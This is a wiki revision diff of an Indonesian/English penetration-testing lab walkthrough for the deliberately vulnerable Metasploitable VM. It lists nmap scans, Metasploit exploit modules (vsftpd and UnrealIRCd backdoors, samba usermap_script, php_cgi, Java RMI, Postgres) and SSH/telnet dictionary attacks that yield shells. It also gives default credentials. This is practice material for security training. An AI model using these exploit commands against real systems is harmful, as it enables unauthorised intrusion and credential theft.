Difference between revisions of "Metasploitable: pentest"

From OnnoWiki
Jump to navigation Jump to search
Line 36: Line 36:
 
  nmap -sS -v -O 192.168.122.134
 
  nmap -sS -v -O 192.168.122.134
  
−
Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:
+
Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.
  
−
search vsftpd 2.3.4
 
  
−
Typing the above command will show the exploits that will help you in attack the said version. So further type:
+
==attack vsftpd==
  
−
use exploit/unix/ftp/vsftpd_234_backdoor
+
buka metasploit
  
−
set rhost 192.168.1.106
+
metasploit
  
−
set rport 21
+
ketik
  
−
exploit
+
search
 +
search vsftpd 2.3.4
  
−
Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.
+
Typing the above command will show the exploits that will help you in attack the said version. So further type:
  
−
Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :
+
use exploit/unix/ftp/vsftpd_234_backdoor
 +
set rhost 192.168.1.106
 +
set rport 21
 +
exploit
  
−
use auxiliary/scanner/ssh/ssh_login
+
Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.
  
−
set rhosts 192.168.1.106
+
==attack ssh==
  
−
set rport 22
+
Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :
  
−
set user_file /root/Desktop/user.txt
+
use auxiliary/scanner/ssh/ssh_login
−
 
+
set rhosts 192.168.1.106
−
set pass_file /root/Desktop/pass.txt
+
set rport 22
−
 
+
set user_file /root/Desktop/user.txt
−
exploit
+
set pass_file /root/Desktop/pass.txt
 +
exploit
  
 
As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.
 
As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.
  
−
Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:
+
==Remote login dari kali linux==
−
 
 
−
ssh msfadmin@192.168.1.106
 
  
−
Here,
+
misalnya IP metasploitable 192.168.122.134
  
−
ssh –> is the service through which we are exploiting
+
ssh msfadmin@192.168.122.134
  
−
msfadmin –> is the password
+
password
  
−
192.168.1.106 –> is the victim’s IP address
+
msfadmin
  
−
Upon execution you can see that you will automatically enter its shell.
 
  
−
Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:
+
==attack telnet==
  
−
use auxiliary/scanner/telnet/telnet_login
+
Jalankan metasploit
  
−
set rhosts 192.168.1.106
+
metasploit
  
−
set rport 23
+
Lakukan
  
−
set user_file /root/Desktop/user.txt
+
use auxiliary/scanner/telnet/telnet_login
 +
set rhosts 192.168.122.134
 +
set rport 23
 +
set user_file /root/Desktop/user.txt
 +
set pass_file /root/Desktop/pass.txt
 +
exploit
  
−
set pass_file /root/Desktop/pass.txt
+
Sama dengan ssh, ini adalah dictionary attack. Setelah memperoleh password kita dapat masuk dari kali linux menggunakan
  
−
exploit
+
telnet 192.168.122.134
  
−
Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.
+
==attack web==
−
 
 
−
telnet 192.168.1.106
 
−
 
 
−
After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:
 
  
 
Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:
 
Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:
  
−
use exploit/multi/http/php_cgi_arg_injection
+
use exploit/multi/http/php_cgi_arg_injection
 +
set rhost 192.168.122.134
 +
set rport 80
 +
exploit
  
−
set rhost 192.168.1.106
+
After the execution you will enter a meterpreter session of metasploitable as shown.
  
−
set rport 80
+
==attack file sharing==
−
 
 
−
exploit
 
−
 
 
−
After the execution you will enter a meterpreter session of metasploitable as shown.
 
  
 
Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
 
Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:
  
−
use exploit/multi/samba/usermap_script
+
use exploit/multi/samba/usermap_script
−
 
+
set rhost 192.168.122.134
−
set rhost 192.168.1.106
+
set rport 139
−
 
+
exploit
−
set rport 139
 
−
 
 
−
exploit
 
  
 
The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
 
The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.
Line 128: Line 126:
 
Now, we will use the following exploit:
 
Now, we will use the following exploit:
  
−
use exploit/multi/misc/java_rmi_server
+
use exploit/multi/misc/java_rmi_server
 +
set rhost 192.168.122.134
 +
set rport 1899
 +
exploit
  
−
set rhost 192.168.1.106
+
Again, after you hit enter button on your keyboard you will have a meterpreter session.
−
 
 
−
set rport 1899
 
  
−
exploit
+
==attack postgres==
  
−
Again, after you hit enter button on your keyboard you will have a meterpreter session.
 
  
 
The next exploit is:
 
The next exploit is:
  
−
use exploit/linux/postgres/postgres_payload
+
use exploit/linux/postgres/postgres_payload
 +
set rhost 192.168.1.106
 +
set rport 5432
 +
exploit
  
−
set rhost 192.168.1.106
+
Once the command is executed you will enter the meterpreter session as shown above.
−
 
 
−
set rport 5432
 
  
−
exploit
 
  
−
Once the command is executed you will enter the meterpreter session as shown above.
+
==attack ircd==
  
 
The exploit that use is related to unreal ircd and to search its exploit type :
 
The exploit that use is related to unreal ircd and to search its exploit type :
  
−
search Unreal ircd
+
search Unreal ircd
  
 
And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
 
And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.
Line 158: Line 156:
 
To the exploit type:
 
To the exploit type:
  
−
use exploit/unix/irc/unreal_ircd_3281_backdoor
+
use exploit/unix/irc/unreal_ircd_3281_backdoor
−
 
+
set rhost 192.168.122.134
−
set rhost 192.168.1.106
+
set rport 6667
−
 
+
exploit
−
set rport 6667
 
−
 
 
−
exploit
 
  
 
And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.
 
And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.

Revision as of 07:36, 1 December 2018

sumber: https://www.hackingarticles.in/penetration-testing-skills-practice-metasploitable-beginner-guide/


Metasploitable adalah versi rentan Linux Ubuntu yang secara sukarela dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

Metasploitable adalah framework yang dapat dieksploitasi yang membantu kita untuk meningkatkan keterampilan kita dan juga membantu penggunaan untuk menggunakan setiap port untuk keuntungan kita karena kita semua tahu bahwa port dan protokol adalah dasar dari peretasan sehingga, oleh karena itu, semakin banyak anda dapat mengambil manfaat dari korban.

Dalam hal ini kita akan menelusuri seluruh konsep metasploitable termasuk cara menginstalnya dan cara meretasnya selangkah demi selangkah. Kami akan mengambil semua port satu per satu yang rentan dan mencoba untuk mengeksploitasinya.

Download & Install

Pertama-tama Anda harus mengunduh metasploit dari tautan di atas. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.

Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

Saat start, akan ditanya username password, masukan 

username msfadmin
password msfadmin

Cek IP

Cek IP address menggunakan 

ifconfig

nmap

Scan sederhan dapat menggunakan nmap 

nmap -sV 192.168.122.134
nmap -sS -v -O 192.168.122.134

Dari hasil scan nmap kita akan bisa melihat port mana yang terbuka service mana yang berjalan di port mana. Kita dapat memulai serangan satu per satu di port yang vulneable.


attack vsftpd

buka metasploit 

metasploit

ketik 

search
search vsftpd 2.3.4

Typing the above command will show the exploits that will help you in attack the said version. So further type: 

use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.1.106
set rport 21
exploit

Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.

attack ssh

Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as : 

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.1.106
set rport 22
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.

Remote login dari kali linux

misalnya IP metasploitable 192.168.122.134 

ssh msfadmin@192.168.122.134

password 

msfadmin


attack telnet

Jalankan metasploit 

metasploit

Lakukan 

use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.122.134
set rport 23
set user_file /root/Desktop/user.txt
set pass_file /root/Desktop/pass.txt
exploit

Sama dengan ssh, ini adalah dictionary attack. Setelah memperoleh password kita dapat masuk dari kali linux menggunakan 

telnet 192.168.122.134

attack web

Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type: 

use exploit/multi/http/php_cgi_arg_injection
set rhost 192.168.122.134
set rport 80
exploit

After the execution you will enter a meterpreter session of metasploitable as shown.

attack file sharing

Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit: 

use exploit/multi/samba/usermap_script
set rhost 192.168.122.134
set rport 139
exploit

The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.

Now, we will use the following exploit: 

use exploit/multi/misc/java_rmi_server
set rhost 192.168.122.134
set rport 1899
exploit

Again, after you hit enter button on your keyboard you will have a meterpreter session.

attack postgres

The next exploit is: 

use exploit/linux/postgres/postgres_payload
set rhost 192.168.1.106
set rport 5432
exploit

Once the command is executed you will enter the meterpreter session as shown above.


attack ircd

The exploit that use is related to unreal ircd and to search its exploit type : 

search Unreal ircd

And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.

To the exploit type: 

use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.122.134
set rport 6667
exploit

And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.

These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.

Referensi

Pranala Menarik

Retrieved from "https://onnocenter.or.id/wiki/index.php?title=Metasploitable:_pentest&oldid=52870"